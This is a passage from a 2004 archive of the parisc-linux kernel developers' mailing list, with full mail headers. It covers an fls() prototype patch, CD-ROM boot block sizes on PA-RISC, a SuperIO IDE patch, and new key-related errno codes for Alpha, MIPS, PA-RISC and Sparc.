List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24897


> On Tue, Aug 24, 2004 at 02:51:59PM +0200, Joel Soete wrote:
> > Sorry for this auto-reply but I just reboot with success my N4k (smp
64bit
> > kernel 2.6.8.1-pa7) with this patch and all works fine :)
> > 
> > If Ok for everybody can somebody ci for me (no cvs access :) )?
> 
> > > -static __inline__ int fls(int x)
> > > +static __inline__ int fls(unsigned long x)
> 
> This is absolutely not OK.  fls is prototyped to have an int parameter,=

> not an unsigned long.  Why do you want to do this, anyway?
> 
Oops: the original idea was to propose the equivalence of  __ffs(unsingne=
d
long). 

My bad.

Anyway it's tested fully ok and if we need it later, it's at least availa=
ble
in the list ;)

Thanks for advise,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bitops.h: fls(unsigned long )
Date: Wed, 25 Aug 2004 16:10:43 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20040825201042.GX5207@baldric.uwo.ca>
References: <20040824164542.GR5207@baldric.uwo.ca>
	<412135A800004CFE@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624470 25689 80.91.229.3 (22 Nov 2014 02:47:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13648 invoked by uid 65534); 25 Aug 2004 20:12:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 25 Aug 2004 22:12:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8C6E23BDF2; Wed, 25 Aug 2004 14:12:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10213-10; Wed, 25 Aug 2004 14:12:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 26CAC3BDDB; Wed, 25 Aug 2004 14:11:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F08473BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 14:11:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10213-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 14:11:24 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AA6EA3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 14:11:23 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 2C414494775; Wed, 25 Aug 2004 14:11:23 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id BF9AF4946BA
	for <parisc-linux@parisc-linux.org>;
	Wed, 25 Aug 2004 14:11:22 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C046W-0007bq-00; Wed, 25 Aug 2004 16:10:44 -0400
Content-Disposition: inline
In-Reply-To: <412135A800004CFE@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (82% Sync Ratio [========..])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24898

On Tue, Aug 24, 2004 at 07:06:02PM +0200, Joel Soete wrote:
> And even a 64bit (using jejb 64bit lib :), just don't inline fls (if inline
> it does a segfault when finish)):
> 
> See attachment:
> bitops-tc3.c

Thanks! I'll check this out in 5 days, I'm very busy right now. If it
looks to work I'll check the test into out userspace test area.

Then I'll look at the kernel stuff.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomasz Korycki <tkorycki@sprint.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unale to Boot the Cd
Date: Thu, 26 Aug 2004 06:22:23 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <5.2.0.9.0.20040826061513.0365f0c8@pop3.sprint.ca>
References: <412D94F0.9020403@lycos.nl>
	<8BF7471D09AA9B4190A9C96778BC2A1701F8DE9E@qcaexc02.asiapacific.cpqcorp.net>
	<20040825204331.GD23033@tausq.org> <412D94F0.9020403@lycos.nl> <22220.193.160.141.5.1093509494.squirrel@193.160.141.5>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii";
  format=flowed
X-Trace: ger.gmane.org 1416624470 25690 80.91.229.3 (22 Nov 2014 02:47:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31813 invoked by uid 65534); 26 Aug 2004 10:23:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 26 Aug 2004 12:23:20 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EB91E3BDFC; Thu, 26 Aug 2004 04:23:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18929-01; Thu, 26 Aug 2004 04:23:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EE7893BDF8; Thu, 26 Aug 2004 04:22:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBA193BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 04:22:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18359-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 04:22:35 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BBBFA3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 04:22:35 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 5DB11494751; Thu, 26 Aug 2004 04:22:35 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from flow8.flow.north.net
	(CPE0050da0b5ea2-CM014300002826.cpe.net.cable.rogers.com
	[65.50.87.86]) by palinux.hppa (Postfix) with ESMTP id 63DB54946BA
	for <parisc-linux@parisc-linux.org>;
	Thu, 26 Aug 2004 04:22:34 -0600 (MDT)
Original-Received: from flow4.sprint.ca (flow4.flow.north.net [198.52.32.250])
	by flow8.flow.north.net (8.12.6/8.12.1) with ESMTP id i7QAMTXI029794
	for <parisc-linux@parisc-linux.org>; Thu, 26 Aug 2004 06:22:32 -0400
X-Sender: tkorycki@pop3.sprint.ca
X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9
In-Reply-To: <22220.193.160.141.5.1093509494.squirrel@193.160.141.5>
Original-References: <412D94F0.9020403@lycos.nl>
	<8BF7471D09AA9B4190A9C96778BC2A1701F8DE9E@qcaexc02.asiapacific.cpqcorp.net>
	<20040825204331.GD23033@tausq.org> <412D94F0.9020403@lycos.nl>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24899

At 04:38 2004-08-26, Andy Walker wrote:
> > A major issue with (older) PA-Risc CDRoms is not addressed in most
> > documentations:
> >
> > Any CDRom player wil work at runtime but booting from the player requires
> > a
> > different blocksize than most other architectures. Correct me if I'm wrong
> > but
> > PA-Risc CDRoms need a 2 KByte blocksize where most other architectures use
> > 512Byte blocksize.
>
>Back to front, I'm afraid. Sun, older HP (and possibly older SGI)

Yes!

>all
>want a block size of 512 bytes for booting. I guess the idea was that
>the ROM monitor could treat cds and harddisks alike if they had the same
>block size = less code!

precisely

>The PC world standardized on 2K bytes. Some cd units, notably Plextor
>handle the 2 Kbytes <-> 512 byte switch automagically in the firmware.
>Good old Toshibas (XM-3301 etc.),

and 3401B. Also NEC Multispin, definitely 3x, I think 6x as well (the ones 
with "flip-down" caddy entry and a lit LCD).

>as loved by HP and Sun, have a couple
>of solder pads that can be cut for 512 bytes and joined for 2K bytes.
>On some units these "switches" are available as jumpers, or exposed as
>switches on the external case.

Some (old Toshibas for sure) could be "tweaked" to do it through code (SCSI 
pages). I remember something about it in 93 or 94 on comp.sys.sgi.admin. 
There was some code posted that did it (at least for me, at least then...)


>For more info google for the Sun CDROM FAQ, or go via www.sunhelp.org.
>
>-Andy
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anyone want a task?
Date: Sat, 28 Aug 2004 16:19:09 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20040828151909.GB16196@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624471 25695 80.91.229.3 (22 Nov 2014 02:47:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28062 invoked by uid 65534); 28 Aug 2004 15:20:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 28 Aug 2004 17:20:29 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8C8EF3BE53; Sat, 28 Aug 2004 09:20:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15629-07; Sat, 28 Aug 2004 09:20:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4C4233BE04; Sat, 28 Aug 2004 09:19:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 008293BDE2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 09:19:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15994-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 09:19:13 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9A6B13BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 09:19:12 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id E6789494782; Sat, 28 Aug 2004 09:19:11 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 488B74946BA
	for <parisc-linux@parisc-linux.org>;
	Sat, 28 Aug 2004 09:19:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1C14yz-0007Hn-9B
	for parisc-linux@parisc-linux.org; Sat, 28 Aug 2004 16:19:09 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24900

----- Forwarded message from Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl> -----

From: Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>
Reply-To: bzolnier@milosz.na.pl
To: Matthew Wilcox <willy@debian.org>
Subject: Re: [PATCH] PA-RISC IDE update
Date: Sat, 28 Aug 2004 17:08:35 +0200
User-Agent: KMail/1.6.2
In-Reply-To: <20040814221440.GE12936@parcelfarce.linux.theplanet.co.uk>


Hi,

On Sunday 15 August 2004 00:14, you wrote:
> Hi Bart
>
> Yet another patch to fix SuckyIO IDE on PA-RISC workstations.  SPARC64
> doesn't define CONFIG_SUPERIO so definitely won't be affected by this
> patch.

applied but SuckyIO workarounds should be later moved from superio.c to 
ns87415.c - no code outside drivers/ide/ should know anything about internal 
IDE driver structures such as struct hwif_s (ide_hwif_t) - please  fix it

thanks

> diff -urpNX dontdiff linus-2.6/drivers/ide/pci/ns87415.c
> parisc-2.6/drivers/ide/pci/ns87415.c ---
> linus-2.6/drivers/ide/pci/ns87415.c	Sat Aug 14 11:16:33 2004
> +++ parisc-2.6/drivers/ide/pci/ns87415.c	Sat Aug 14 11:05:30 2004
> @@ -24,6 +24,9 @@
>  #include <linux/init.h>
>
>  #include <asm/io.h>
> +#ifdef CONFIG_SUPERIO
> +#include <asm/superio.h>
> +#endif
>
>  static unsigned int ns87415_count = 0, ns87415_control[MAX_HWIFS] = { 0 };
>
> @@ -128,6 +131,13 @@ static int ns87415_ide_dma_check (ide_dr
>  	if (drive->media != ide_disk)
>  		return HWIF(drive)->ide_dma_off_quietly(drive);
>  	return __ide_dma_check(drive);
> +}
> +
> +static void __init init_iops_ns87415(ide_hwif_t *hwif)
> +{
> +#ifdef CONFIG_SUPERIO
> +	superio_ide_init_iops(hwif);
> +#endif
>  }
>
>  static void __init init_hwif_ns87415 (ide_hwif_t *hwif)

----- End forwarded message -----

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] New error codes for Alpha, MIPS, PA-RISC, Sparc & Sparc64
Date: Tue, 31 Aug 2004 16:12:14 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <13071.1093965134__608.280723872845$1416624471$gmane$org@redhat.com>
References: <20040830232445.0b5aad79.akpm@osdl.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen")
Content-Type: text/plain;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624471 25697 80.91.229.3 (22 Nov 2014 02:47:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:51 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@osdl.org>,
 rth@twiddle.net,
 linux-mips@linux-mips.org,
 parisc-linux@parisc-linux.org,
 sparclinux@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <linux-kernel-owner+deller=40gmx.de-S268710AbUHaPOs@vger.kernel.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20540 invoked by uid 65534); 31 Aug 2004 15:18:06 -0000
Original-Received: from vger.kernel.org (EHLO vger.kernel.org) (12.107.209.244)
  by mx0.gmx.net (mx027) with SMTP; 31 Aug 2004 17:18:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S268710AbUHaPOs (ORCPT <rfc822;deller@gmx.de>);
	Tue, 31 Aug 2004 11:14:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S268686AbUHaPOs
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 31 Aug 2004 11:14:48 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:18913 "EHLO mx1.redhat.com")
	by vger.kernel.org with ESMTP id S268712AbUHaPNN (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 31 Aug 2004 11:13:13 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i7VFCVS0024717;
	Tue, 31 Aug 2004 11:12:31 -0400
Original-Received: from warthog.cambridge.redhat.com (warthog.cambridge.redhat.com [172.16.18.73])
	by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i7VFCJ325414;
	Tue, 31 Aug 2004 11:12:19 -0400
Original-Received: from warthog.cambridge.redhat.com (localhost.localdomain [127.0.0.1])
	by warthog.cambridge.redhat.com (8.12.11/8.12.8) with ESMTP id i7VFCIlm013075;
	Tue, 31 Aug 2004 16:12:18 +0100
Original-Received: from redhat.com (dhowells@localhost)
	by warthog.cambridge.redhat.com (8.12.11/8.12.11/Submit) with ESMTP id i7VFCECt013072;
	Tue, 31 Aug 2004 16:12:14 +0100
X-Authentication-Warning: warthog.cambridge.redhat.com: dhowells owned process doing -bs
In-Reply-To: <20040830232445.0b5aad79.akpm@osdl.org> 
User-Agent: EMH/1.14.1 SEMI/1.14.5 (Awara-Onsen) FLIM/1.14.5 (Demachiyanagi) APEL/10.6 Emacs/21.3 (i386-redhat-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
X-Mailing-List: linux-kernel@vger.kernel.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24901


The attached patch adds the new error codes I added for key-related errors to
those archs that don't make use of <asm-generic/errno.h>, including Alpha,
MIPS, PA-RISC, Sparc and Sparc64. This is required to compile with CONFIG_KEYS
on those platforms.

Signed-Off-By: David Howells <dhowells@redhat.com>
---

warthog>diffstat keys-errors-2681mm4.diff 
 asm-alpha/errno.h   |    4 ++++
 asm-mips/errno.h    |    4 ++++
 asm-parisc/errno.h  |    4 ++++
 asm-sparc/errno.h   |    4 ++++
 asm-sparc64/errno.h |    4 ++++
 5 files changed, 20 insertions(+)

diff -uNrp linux-2.6.8.1-mm4-keys/include/asm-alpha/errno.h linux-2.6.8.1-mm4-keys-read/include/asm-alpha/errno.h
--- linux-2.6.8.1-mm4-keys/include/asm-alpha/errno.h	2004-06-18 13:42:21.000000000 +0100
+++ linux-2.6.8.1-mm4-keys-read/include/asm-alpha/errno.h	2004-08-31 10:10:11.466082943 +0100
@@ -110,5 +110,9 @@
 
 #define ENOMEDIUM	129	/* No medium found */
 #define EMEDIUMTYPE	130	/* Wrong medium type */
+#define	ENOKEY		131	/* Required key not available */
+#define	EKEYEXPIRED	132	/* Key has expired */
+#define	EKEYREVOKED	133	/* Key has been revoked */
+#define	EKEYREJECTED	134	/* Key was rejected by service */
 
 #endif
diff -uNrp linux-2.6.8.1-mm4-keys/include/asm-mips/errno.h linux-2.6.8.1-mm4-keys-read/include/asm-mips/errno.h
--- linux-2.6.8.1-mm4-keys/include/asm-mips/errno.h	2004-06-18 13:42:12.000000000 +0100
+++ linux-2.6.8.1-mm4-keys-read/include/asm-mips/errno.h	2004-08-31 10:12:16.492662321 +0100
@@ -110,6 +110,10 @@
  */
 #define ENOMEDIUM	159	/* No medium found */
 #define EMEDIUMTYPE	160	/* Wrong medium type */
+#define	ENOKEY		161	/* Required key not available */
+#define	EKEYEXPIRED	162	/* Key has expired */
+#define	EKEYREVOKED	163	/* Key has been revoked */
+#define	EKEYREJECTED	164	/* Key was rejected by service */
 
 #define EDQUOT		1133	/* Quota exceeded */
 
diff -uNrp linux-2.6.8.1-mm4-keys/include/asm-parisc/errno.h linux-2.6.8.1-mm4-keys-read/include/asm-parisc/errno.h
--- linux-2.6.8.1-mm4-keys/include/asm-parisc/errno.h	2004-06-18 13:42:13.000000000 +0100
+++ linux-2.6.8.1-mm4-keys-read/include/asm-parisc/errno.h	2004-08-31 10:11:51.478747181 +0100
@@ -67,6 +67,10 @@
 #define	EREMOTEIO	181	/* Remote I/O error */
 #define	ENOMEDIUM	182	/* No medium found */
 #define	EMEDIUMTYPE	183	/* Wrong medium type */
+#define	ENOKEY		184	/* Required key not available */
+#define	EKEYEXPIRED	185	/* Key has expired */
+#define	EKEYREVOKED	186	/* Key has been revoked */
+#define	EKEYREJECTED	187	/* Key was rejected by service */
 
 /* We now return you to your regularly scheduled HPUX. */
 
diff -uNrp linux-2.6.8.1-mm4-keys/include/asm-sparc/errno.h linux-2.6.8.1-mm4-keys-read/include/asm-sparc/errno.h
--- linux-2.6.8.1-mm4-keys/include/asm-sparc/errno.h	2004-06-18 13:42:21.000000000 +0100
+++ linux-2.6.8.1-mm4-keys-read/include/asm-sparc/errno.h	2004-08-31 10:10:55.134443332 +0100
@@ -101,5 +101,9 @@
 
 #define	ENOMEDIUM	125	/* No medium found */
 #define	EMEDIUMTYPE	126	/* Wrong medium type */
+#define	ENOKEY		127	/* Required key not available */
+#define	EKEYEXPIRED	128	/* Key has expired */
+#define	EKEYREVOKED	129	/* Key has been revoked */
+#define	EKEYREJECTED	130	/* Key was rejected by service */
 
 #endif
diff -uNrp linux-2.6.8.1-mm4-keys/include/asm-sparc64/errno.h linux-2.6.8.1-mm4-keys-read/include/asm-sparc64/errno.h
--- linux-2.6.8.1-mm4-keys/include/asm-sparc64/errno.h	2004-06-18 13:42:22.000000000 +0100
+++ linux-2.6.8.1-mm4-keys-read/include/asm-sparc64/errno.h	2004-08-31 10:09:36.730977977 +0100
@@ -101,5 +101,9 @@
 
 #define ENOMEDIUM       125     /* No medium found */
 #define EMEDIUMTYPE     126     /* Wrong medium type */
+#define	ENOKEY		127	/* Required key not available */
+#define	EKEYEXPIRED	128	/* Key has expired */
+#define	EKEYREVOKED	129	/* Key has been revoked */
+#define	EKEYREJECTED	130	/* Key was rejected by service */
 
 #endif /* !(_SPARC64_ERRNO_H) */

From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] New error codes for Alpha, MIPS,
